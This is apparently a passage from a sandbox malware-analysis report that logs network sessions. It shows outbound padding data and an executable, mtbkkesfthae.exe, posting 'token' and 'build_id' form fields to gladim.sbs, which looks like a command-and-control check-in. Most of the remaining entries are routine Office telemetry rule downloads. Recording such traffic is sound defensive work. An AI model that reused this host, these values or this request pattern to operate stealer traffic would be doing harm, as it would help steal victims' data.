AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:27 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:27 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:27 UTC	11617	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-02 00:34:29 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-02 00:34:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49765	94.130.210.71	443	1548	C:\Users\user\Desktop\mtbkkesfthae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:29 UTC	317	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHIDAKECFIEBGDHJEBKK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: gladim.sbs Content-Length: 493 Connection: Keep-Alive Cache-Control: no-cache
2024-12-02 00:34:29 UTC	493	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 38 64 32 64 30 61 38 34 37 37 39 36 36 32 64 66 62 66 66 34 35 34 32 61 31 31 30 62 33 35 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 64 35 64 37 35 30 34 32 39 63 66 33 30 39 64 63 34 61 35 62 65 34 62 66 34 32 32 62 33 63 33 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 Data Ascii: ------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="token"b08d2d0a84779662dfbff4542a110b35------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="build_id"7d5d750429cf309dc4a5be4bf422b3c3------EHIDAKECFIEBGDHJEBKKCont
2024-12-02 00:34:30 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 00:34:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-02 00:34:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:29 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2132beec-901e-00ac-46aa-42b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003429Z-174f7845968frfdmhC1EWRxxbw00000013tg000000004mky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:29 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a4f00822-e01e-0033-081e-414695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003429Z-174f7845968qj8jrhC1EWRh41s00000013pg000000006rsu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:29 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:29 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 06c834e2-b01e-0001-1c8a-4346e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003429Z-174f7845968jrjrxhC1EWRmmrs00000013r000000000keeh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:29 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:30 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: b5d3fb3c-c01e-000b-6fb4-42e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003430Z-174f7845968psccphC1EWRuz9s00000013u000000000q95u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:31 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:36 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: c0407c6d-d01e-0082-369d-43e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003436Z-174f7845968cpnpfhC1EWR3afc000000138000000000eze4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:33 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:33 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 716ae074-c01e-0046-576f-432db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003433Z-174f7845968j6t2phC1EWRcfe800000013wg000000005xqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:33 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:33 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:33 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 9dc9d887-801e-0015-73b3-42f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003433Z-174f7845968px8v7hC1EWR08ng00000013u000000000qpcd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:33 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:33 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:33 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 451890cd-001e-0065-1114-410b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003433Z-174f7845968px8v7hC1EWR08ng00000013wg00000000e91g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:33 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:33 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:33 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: be448d19-001e-002b-566b-4399f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003433Z-174f7845968cpnpfhC1EWR3afc000000136000000000mbms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
